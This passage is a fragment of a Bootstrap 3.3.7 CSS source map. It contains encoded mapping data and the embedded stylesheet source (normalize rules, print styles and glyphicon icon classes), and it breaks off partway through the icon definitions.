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","file":"bootstrap.css","sourcesContent":["/*!\n * Bootstrap v3.3.7 (http://getbootstrap.com)\n * Copyright 2011-2016 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n/*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */\nhtml {\n font-family: sans-serif;\n -ms-text-size-adjust: 100%;\n -webkit-text-size-adjust: 100%;\n}\nbody {\n margin: 0;\n}\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nmain,\nmenu,\nnav,\nsection,\nsummary {\n display: block;\n}\naudio,\ncanvas,\nprogress,\nvideo {\n display: inline-block;\n vertical-align: baseline;\n}\naudio:not([controls]) {\n display: none;\n height: 0;\n}\n[hidden],\ntemplate {\n display: none;\n}\na {\n background-color: transparent;\n}\na:active,\na:hover {\n outline: 0;\n}\nabbr[title] {\n border-bottom: 1px dotted;\n}\nb,\nstrong {\n font-weight: bold;\n}\ndfn {\n font-style: italic;\n}\nh1 {\n font-size: 2em;\n margin: 0.67em 0;\n}\nmark {\n background: #ff0;\n color: #000;\n}\nsmall {\n font-size: 80%;\n}\nsub,\nsup {\n font-size: 75%;\n line-height: 0;\n position: relative;\n vertical-align: baseline;\n}\nsup {\n top: -0.5em;\n}\nsub {\n bottom: -0.25em;\n}\nimg {\n border: 0;\n}\nsvg:not(:root) {\n overflow: hidden;\n}\nfigure {\n margin: 1em 40px;\n}\nhr {\n box-sizing: content-box;\n height: 0;\n}\npre {\n overflow: auto;\n}\ncode,\nkbd,\npre,\nsamp {\n font-family: monospace, monospace;\n font-size: 1em;\n}\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n color: inherit;\n font: inherit;\n margin: 0;\n}\nbutton {\n overflow: visible;\n}\nbutton,\nselect {\n text-transform: none;\n}\nbutton,\nhtml input[type=\"button\"],\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n -webkit-appearance: button;\n cursor: pointer;\n}\nbutton[disabled],\nhtml input[disabled] {\n cursor: default;\n}\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n border: 0;\n padding: 0;\n}\ninput {\n line-height: normal;\n}\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n box-sizing: border-box;\n padding: 0;\n}\ninput[type=\"number\"]::-webkit-inner-spin-button,\ninput[type=\"number\"]::-webkit-outer-spin-button {\n height: auto;\n}\ninput[type=\"search\"] {\n -webkit-appearance: textfield;\n box-sizing: content-box;\n}\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n -webkit-appearance: none;\n}\nfieldset {\n border: 1px solid #c0c0c0;\n margin: 0 2px;\n padding: 0.35em 0.625em 0.75em;\n}\nlegend {\n border: 0;\n padding: 0;\n}\ntextarea {\n overflow: auto;\n}\noptgroup {\n font-weight: bold;\n}\ntable {\n border-collapse: collapse;\n border-spacing: 0;\n}\ntd,\nth {\n padding: 0;\n}\n/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */\n@media print {\n *,\n *:before,\n *:after {\n background: transparent !important;\n color: #000 !important;\n box-shadow: none !important;\n text-shadow: none !important;\n }\n a,\n a:visited {\n text-decoration: underline;\n }\n a[href]:after {\n content: \" (\" attr(href) \")\";\n }\n abbr[title]:after {\n content: \" (\" attr(title) \")\";\n }\n a[href^=\"#\"]:after,\n a[href^=\"javascript:\"]:after {\n content: \"\";\n }\n pre,\n blockquote {\n border: 1px solid #999;\n page-break-inside: avoid;\n }\n thead {\n display: table-header-group;\n }\n tr,\n img {\n page-break-inside: avoid;\n }\n img {\n max-width: 100% !important;\n }\n p,\n h2,\n h3 {\n orphans: 3;\n widows: 3;\n }\n h2,\n h3 {\n page-break-after: avoid;\n }\n .navbar {\n display: none;\n }\n .btn > .caret,\n .dropup > .btn > .caret {\n border-top-color: #000 !important;\n }\n .label {\n border: 1px solid #000;\n }\n .table {\n border-collapse: collapse !important;\n }\n .table td,\n .table th {\n background-color: #fff !important;\n }\n .table-bordered th,\n .table-bordered td {\n border: 1px solid #ddd !important;\n }\n}\n@font-face {\n font-family: 'Glyphicons Halflings';\n src: url('../fonts/glyphicons-halflings-regular.eot');\n src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff2') format('woff2'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg');\n}\n.glyphicon {\n position: relative;\n top: 1px;\n display: inline-block;\n font-family: 'Glyphicons Halflings';\n font-style: normal;\n font-weight: normal;\n line-height: 1;\n -webkit-font-smoothing: antialiased;\n -moz-osx-font-smoothing: grayscale;\n}\n.glyphicon-asterisk:before {\n content: \"\\002a\";\n}\n.glyphicon-plus:before {\n content: \"\\002b\";\n}\n.glyphicon-euro:before,\n.glyphicon-eur:before {\n content: \"\\20ac\";\n}\n.glyphicon-minus:before {\n content: \"\\2212\";\n}\n.glyphicon-cloud:before {\n content: \"\\2601\";\n}\n.glyphicon-envelope:before {\n content: \"\\2709\";\n}\n.glyphicon-pencil:before {\n content: \"\\270f\";\n}\n.glyphicon-glass:before {\n content: \"\\e001\";\n}\n.glyphicon-music:before {\n content: \"\\e002\";\n}\n.glyphicon-search:before {\n content: \"\\e003\";\n}\n.glyphicon-heart:before {\n content: \"\\e005\";\n}\n.glyphicon-star:before {\n content: \"\\e006\";\n}\n.glyphicon-star-empty:before {\n content: \"\\e007\";\n}\n.glyphicon-user:before {\n content: \"\\e008\";\n}\n.glyphicon-film:before {\n content: \"\\e009\";\n}\n.glyphicon-th-large:before {\n content: \"\\e010\";\n}\n.glyphicon-th:before {\n content: \"\\e011\";\n}\n.glyphicon-th-list:before {\n content: \"\\e012\";\n}\n.glyphicon-ok:before {\n content: \"\\e013\";\n}\n.glyphicon-remove:before {\n content: \"\\e014\";\n}\n.glyphicon-zoom-in:before {\n content: \"\\e015\";\n}\n.glyphicon-zoom-out:before {\n content: \"\\e016\";\n}\n.glyphicon-off:before {\n content: \"\\e017\";\n}\n.glyphicon-signal:before {\n content: \"\\e018\";\n}\n.glyphicon-cog:before {\n content: \"\\e019\";\n}\n.glyphicon-trash:before {\n content: \"\\e020\";\n}\n.glyphicon-home:before {\n content: \"\\e021\";\n}\n.glyphicon-file:before {\n content: \"\\e022\";\n}\n.glyphicon-time:before {\n content: \"\\e023\";\n}\n.glyphicon-road:before {\n content: \"\\e024\";\n}\n.glyphicon-download-alt:before {\n content: \"\\e025\";\n}\n.glyphicon-download:before {\n content: \"\\e026\";\n}\n.glyphicon-upload:before {\n content: \"\\e027\";\n}\n.glyphicon-inbox:before {\n content: \"\\e028\";\n}\n.glyphicon-play-circle:before {\n content: \"\\e029\";\n}\n.glyphicon-repeat:before {\n content: \"\\e030\";\n}\n.glyphicon-refresh:before {\n content: \"\\e031\";\n}\n.glyphicon-list-alt:before {\n content: \"\\e032\";\n}\n.glyphicon-lock:before {\n content: \"\\e033\";\n}\n.glyphicon-flag:before {\n content: \"\\e034\";\n}\n.glyphicon-headphones:before {\n content: \"\\e035\";\n}\n.glyphicon-volume-off:before {\n content: \"\\e036\";\n}\n.glyphicon-volume-down:before {\n content: \"\\e037\";\n}\n.glyphicon-volume-up:before {\n content: \"\\e038\";\n}\n.glyphicon-qrcode:before {\n content: \"\\e039\";\n}\n.glyphicon-barcode:before {\n content: \"\\e040\";\n}\n.glyphicon-tag:before {\n content: \"\\e041\";\n}\n.glyphicon-tags:before {\n content: \"\\e042\";\n}\n.glyphicon-book:before {\n content: \"\\e043\";\n}\n.glyphicon-bookmark:before {\n content: \"\\e044\";\n}\n.glyphicon-print:before {\n content: \"\\e045\";\n}\n.glyphicon-camera:before {\n content: \"\\e046\";\n}\n.glyphicon-font:before {\n content: \"\\e047\";\n}\n.glyphicon-bold:before {\n content: \"\\e048\";\n}\n.glyphicon-italic:before {\n content: \"\\e049\";\n}\n.glyphicon-text-height:before {\n content: \"\\e050\";\n}\n.glyphicon-text-width:before {\n content: \"\\e051\";\n}\n.glyphicon-align-left:before {\n content: \"\\e052\";\n}\n.glyphicon-align-center:before {\n content: \"\\e053\";\n}\n.glyphicon-align-right:before {\n content: \"\\e054\";\n}\n.glyphicon-align-justify:before {\n content: \"\\e055\";\n}\n.glyphicon-list:before {\n content: \"\\e056\";\n}\n.glyphicon-indent-left:before {\n content: \"\\e057\";\n}\n.glyphicon-indent-right:before {\n content: \"\\e058\";\n}\n.glyphicon-facetime-video:before {\n content: \"\\e059\";\n}\n.glyphicon-picture:before {\n content: \"\\e060\";\n}\n.glyphicon-map-marker:before {\n content: \"\\e062\";\n}\n.glyphicon-adjust:before {\n content: \"\\e063\";\n}\n.glyphicon-tint:before {\n content: \"\\e064\";\n}\n.glyphicon-edit:before {\n content: \"\\e065\";\n}\n.glyphicon-share:before {\n content: \"\\e066\";\n}\n.glyphicon-check:before {\n content: \"\\e067\";\n}\n.glyphicon-move:before {\n content: \"\\e068\";\n}\n.glyphicon-step-backward:before {\n content: \"\\e069\";\n}\n.glyphicon-fast-backward:before {\n content: \"\\e070\";\n}\n.glyphicon-backward:before {\n content: \"\\e071\";\n}\n.glyphicon-play:before {\n content: \"\\e072\";\n}\n.glyphicon-pause:before {\n content: \"\\e073\";\n}\n.glyphicon-stop:before {\n content: \"\\e074\";\n}\n.glyphicon-forward:before {\n content: \"\\e075\";\n}\n.glyphicon-fast-forward:before {\n content: \"\\e076\";\n}\n.glyphicon-step-forward:before {\n content: \"\\e077\";\n}\n.glyphicon-eject:before {\n content: \"\\e078\";\n}\n.glyphicon-chevron-left:before {\n content: \"\\e079\";\n}\n.glyphicon-chevron-right:before {\n content: \"\\e080\";\n}\n.glyphicon-plus-sign:before {\n content: \"\\e081\";\n}\n.glyphicon-minus-sign:before {\n content: \"\\e082\";\n}\n.glyphicon-remove-sign:before {\n content: \"\\e083\";\n}\n.glyphicon-ok-sign:before {\n content: \"\\e084\";\n}\n.glyphicon-question-sign:before {\n content: \"\\e085\";\n}\n.glyphicon-info-sign:before {\n content: \"\\e086\";\n}\n.glyphicon-screenshot:before {\n content: \"\\e087\";\n}\n.glyphicon-remove-circle:before {\n content: \"\\e088\";\n}\n.glyphicon-ok-circle:before {\n content: \"\\e089\";\n}\n.glyphicon-ban-circle:before {\n content: \"\\e090\";\n}\n.glyphicon-arrow-left:before {\n content: \"\\e091\";\n}\n.glyphicon-arrow-right:before {\n content: \"\\e092\";\n}\n.glyphicon-arrow-up:before {\n content: \"\\e093\";\n}\n.glyphicon-arrow-down:before {\n content: \"\\e094\";\n}\n.glyphicon-share-alt:before {\n content: \"\\e095\";\n}\n.glyphicon-resize-full:before {\n content: \"\\e096\";\n}\n.glyphicon-resize-small:before {\n content: \"\\e097\";\n}\n.glyphicon-exclamation-sign:before {\n content: \"\\e101\";\n}\n.glyphicon-gift:before {\n content: \"\\e102\";\n}\n.glyphicon-leaf:before {\n content: \"\\e103\";\n}\n.glyphicon-fire:before {\n content: \"\\e104\";\n}\n.glyphicon-eye-open:before {\n content: \"\\e105\";\n}\n.glyphicon-eye-close:before {\n content: \"\\e106\";\n}\n.glyphicon-warning-sign:before {\n content: \"\\e107\";\n}\n.glyphicon-plane:before {\n content: \"\\e108\";\n}\n.glyphicon-calendar:before {\n content: \"\\e109\";\n}\n.glyphicon-random:before {\n content: \"\\e110\";\n}\n.glyphicon-comment:before {\n content: \"\\e111\";\n}\n.glyphicon-magnet:before {\n content: \"\\e112\";\n}\n.glyphicon-chevron-up:before {\n content: \"\\e113\";\n}\n.glyphicon-chevron-down:before {\n content: \"\\e114\";\n}\n.glyphicon-retweet:before {\n content: \"\\e115\";\n}\n.glyphicon-shopping-cart:before {\n content: \"\\e116\";\n}\n.glyphicon-folder-close:before {\n content: 